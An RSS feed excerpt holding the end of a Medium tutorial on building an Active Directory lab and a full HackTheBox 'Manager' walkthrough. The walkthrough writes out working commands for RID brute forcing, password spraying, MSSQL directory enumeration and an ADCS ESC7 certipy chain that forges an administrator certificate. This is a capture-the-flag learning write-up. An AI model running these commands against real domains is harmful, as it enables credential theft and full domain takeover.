the newly created <strong>Share</strong> folder and select <strong>Properties</strong>. Go to the <strong>Sharing</strong> tab and click <strong>Share</strong>. In the window that appears, click <strong>Share</strong>, then choose <strong>Yes, turn on network discovery and file sharing for all public networks</strong>, and finally click <strong>Done</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NU6OzO1pqOddu_BOGrzDDA.png" /></figure><p><strong>Close the sharing window and return to your domain controller virtual machine.</strong> Open the <strong>Command Prompt</strong> and type ipconfig to find the IP address of the domain controller. Once you have noted the IP, switch back to the Windows 10 client machine. Right-click the <strong>Network</strong> icon in the lower-right corner of the taskbar and select <strong>Open Network &amp; Internet Settings</strong>. Click <strong>Change adapter options</strong>, where you should see a single <strong>Ethernet</strong> connection. Right-click it and choose <strong>Properties</strong>, then double-click <strong>Internet Protocol Version 4 (TCP/IPv4)</strong>.</p><p><strong>Keep the IP address set to obtain automatically</strong>, but change the DNS settings. Select <strong>Use the following DNS server addresses</strong> and enter the domain controller’s IP address as the <strong>Preferred DNS server</strong> (the one you found earlier with ipconfig). Click <strong>OK</strong> to close this window, and then click <strong>OK</strong> again in the Ethernet Properties window to save your changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QS5L0UPvNMLjVqQZh02lvQ.png" /></figure><p><strong>Next, click Start and type “domain” in the search bar.</strong> From the results, choose <strong>Access Work or school</strong> and click <strong>Connect</strong>. At the bottom of the window, select <strong>Join this device to a local Active Directory domain</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rtShUCf-KI1tW_94hNlhwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wD3O0LD61SYzAkOpVZJamg.png" /></figure><p>Enter the domain name you created earlier in the provided field below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*sq19aHDBpD-Cvsd45F8ntA.png" /></figure><p><strong>Next, you’ll be prompted to enter a username and password.</strong> Type <strong>Administrator</strong> as the username and use the password you set for that account earlier. On the following screen, click <strong>Skip</strong>, and then choose <strong>Restart Now</strong> to complete the process.</p><p>After the machine boots back up to the login screen, select <em>Other user</em> and enter the domain user credentials you created earlier on the domain controller, using the first-name-initial and last-name format. For example, if your domain is called <em>LAB.LOCAL</em> and the user’s name is <em>John Smith</em>, you would log in as:</p><pre>LAB\jsmith</pre><p>Sign out of the domain user account, then sign in as the domain administrator using the credentials:</p><pre>DOMAIN\administrator</pre><p>We want to grant the domain user local administrator rights on the machine. To do this, right-click on <strong>Start</strong> and select <strong>Computer Management</strong>.</p><p><strong>In the Computer Management console, click on <em>Local Users and Groups</em>, then double-click <em>Groups</em>.</strong> Next, double-click the <strong>Administrators</strong> group, and click <strong>Add</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bkzOLxx2RooPdj2ajunxLA.png" /></figure><p>In the <strong>Enter the object names to select</strong> field, type the domain user’s name — for example, DOMAIN\jsmith. Click <strong>Check Names</strong> to confirm the user is found, then click <strong>OK</strong>. Finally, click <strong>Apply</strong> and <strong>OK</strong> to save the changes.</p><p><strong>Repeat the same steps for the other Windows 10 client machine.</strong> Ensure that the <strong>local user account</strong> is set as an administrator on each machine. Also, confirm that your <strong>main domain user</strong> has administrative rights on all client machines where needed.</p><p><strong>In summary</strong>, we built a virtual lab with two VMs: a Windows Server acting as a Domain Controller and two Windows client PC. The DC ran Active Directory and DNS. Both VMs were on the same virtual network with static IPs, and the client’s DNS pointed to the DC. After verifying network connectivity, we successfully joined the client PC to the domain.</p><p><strong>Thank you for reading.</strong></p><p>I hope this article has been helpful. If you have any questions or suggestions, feel free to reach out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2aa483bd28fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MANAGER HACKTHEBOX WALKTHROUGH]]></title>
            <link>https://medium.com/@olakunlepelumi59/manager-hackthebox-walkthrough-7b92eeb3f259?source=rss-afdd3975ee47------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b92eeb3f259</guid>
            <dc:creator><![CDATA[Olakunle Pelumi]]></dc:creator>
            <pubDate>Sat, 30 Mar 2024 15:09:35 GMT</pubDate>
            <atom:updated>2024-03-30T15:09:35.811Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>MANAGER HACKTHEBOX WALKTHROUGH</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ycBdI7YhSeGHNczdP3lfbA.png" /></figure><p>This is an HTB medium machine and very interesting but challenging because it leverages a combination of thorough enumeration, exploitation, privilege escalation, and a very strong background in Active directory penetration testing.</p><p>Now let’s dive into it.</p><p><strong>SCANNING/ENUMERATION</strong></p><p>Firstly I began by adding the IP address of the machine to our host by using the command</p><pre>gedit /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*-REqGsZ5QnvU8tm5hxzTIw.png" /></figure><p>Then I continued with the NMAP scan.</p><pre>nmap -sC -T4 -Pn -A -oN managernmap.txt 10.10.11.236</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ou0Uo7sASoBSAFEwJ0uRBA.png" /><figcaption>MANAGER_NMAP.txt</figcaption></figure><p>After the Nmap scan I observed that there are multiple open ports on the target system, with services such as SMB, LDAP, web, and MSSQL this made me conclude this is an Active Directory domain controller. To start the user enumeration I used crackmapexec to brute force the users on the AD domain using the command:</p><pre>crackmapexec smb 10.10.11.236 -u anonymous -p &quot;&quot; --rid-brute 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*Mgiayfbwm6irC-b5ScYGVQ.png" /></figure><p>After the brute force, we obtain some user credentials namely.</p><pre>zhong <br>cheng <br>ryan <br>ravan <br>jinwoo <br>chinhae <br>operator</pre><p>after obtaining the users I saved them to a file named users.txt and sprayed it across the network using crackmapexec</p><pre>Crackmapexec smb manager.htb –u users.txt –p users.txt –no-brute – continue-on-success </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*NKDNCtgt6OsZo1lxhfKEig.png" /></figure><p>I observed that two users can authenticate through SMB. I also tried the same for MSSQL.</p><pre>Crackmapexec mssql manager.htb –u users.txt –p users.txt –no-brute – continue-on-success </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*fpMc2T6pjAKZm_Luss71VQ.png" /></figure><p>I discovered user operator can authenticate through MSSQL. So I tried to connect and see if there’s any sensitive information.</p><p>I connected using an impackect tool (imacket-mssqlclient)</p><pre>Impacket-mssqlclient –port 1433 manager.htb/operator:operator@10.10.11.236 –window </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*Bj_MfT5bHeKoXUJHUgdgdQ.png" /></figure><p>Upon connecting I enumerated various tables, but I could not find any important helpful information. This led me to think the aim of this is not to find any sensitive data.</p><p>After a long time researching I found a command that allowed me to enumerate the directory structure. For more information visit</p><p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server?source=post_page-----c56f238991c0--------------------------------">https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssqlmicrosoft-sql-server?source=post_page-----c56f238991c0-------------------------------</a></p><pre>EXEC xp_dirtree &#39;C:\inetpub\wwwroot&#39;, 1, 1; </pre><p>Following that, I specified the path as C:\inetpub\wwwroot, which corresponds to the location of the IIS web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*LV0BZaLy4jeDF35zssxPMg.png" /></figure><p>After I successfully executed the command I navigated Within the website itself, to search for the backup file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*1d3fWXn2A7GUai6U0Jujjw.png" /></figure><p>So I checked through the backup file to enumerate. Upon doing this I found a clear-text password for the user “raven”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*SP8QMGLOAeqnmd9hrs01Gw.jpeg" /></figure><p>After finding the user raven credentials, I utilized the tool evil-winrm to establish a connection using the command</p><pre>evil-winrm -i 10.10.11.236 -u raven -p &#39;&lt;PASSWORD&gt;&#39; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GBhFSH3vj2AwRj7s5Dt1A.jpeg" /></figure><p>After establishing the connection. I enumerated the account where I obtained the box user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*5Bgiodmzy45DFCaq9VKTOw.jpeg" /></figure><p><strong>PRIVILEGE ESCALATION</strong></p><p>The first thing I like to check in situations like this is the command</p><pre>Whoami /priv  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*jVrsMT3sW0n2Xfn5rM2DAg.png" /></figure><p>I saw that SeMachineAccountPrivilege is enabled, and there are a few options available for searching and discovering an exploit. To proceed, we uploaded Certify.exe to the machine using the specified command</p><pre> <br>Upload  &lt;file_path_for_certify&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*HU5X08bZZoVeeUCmuKYPaA.png" /></figure><p>After that, I ran this certify command to find vulnerable templates.</p><pre>./Certify.exe find /vulnerable </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*_OylF2ngQL4DB3FTWbYGzA.png" /></figure><p>After this, I identified vulnerabilities in the SubCA template. To understand this more I’ll refer to this GitHub repository <a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></p><p>After researching I discovered the Vulnerable Certificate Authority Access Control</p><p>(ESC7). For more information click check this repository <a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></p><p>The Vulnerable Certificate Authority Access Control (ESC7) led us to initiate the attack by using this command</p><pre>certipy ca -ca &#39;manager-DC01-CA&#39; -add-officer raven -username raven@manager.htb -password &#39;&lt;password&gt;&#39; &amp;&amp; certipy ca -ca &#39;manager-DC01-CA&#39; -enable-template SubCA -username raven@manager.htb -password &#39;&lt;password&gt;&#39; &amp;&amp; certipy req -username raven@manager.htb -password &#39;&lt;password&gt;&#39; -ca &#39;managerDC01-CA&#39; -target manager.htb -template SubCA -upn administrator@manager.htb &amp;&amp; certipy ca -ca &quot;manager-DC01-CA&quot; -issuerequest 23 -username &#39;raven@manager.htb&#39; -password &#39;&lt;password&gt;&#39; &amp;&amp; certipy req -username &#39;raven@manager.htb&#39; password &#39;&lt;password&gt;&#39; -ca &quot;manager-DC01-CA&quot; -target manager.htb -retrieve 23 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*chFoD-qNcN026qY0jy2Png.jpeg" /></figure><p>So after I got the administrator certificate I proceeded with the authentication process using the command</p><pre>Certipy auth –pfx administrator.pfx –dc-ip 10.10.11.236 –debug </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oU1X91hNbgRD0Lf_VzyOHA.jpeg" /></figure><p>This leads me to obtain the administrator hash. In case of any errors during this step, it’s important to resolve them by synchronizing the time with Kerberos. This can be done by executing the following command</p><pre>sudo ntpdate -u manager.htb</pre><p>with the administrator hash, we can utilize evil-winrm to establish a connection to the DC with higher privileges which will also lead us to obtaining the box root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O51mLZ_g36H076g-dxtAhA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*QPIViDmb47-o-czslU2FQg.jpeg" /></figure><p>And wow!!! We got the root flag to the box.</p><p>Thank you all❤…follow me if you enjoyed it😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b92eeb3f259" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>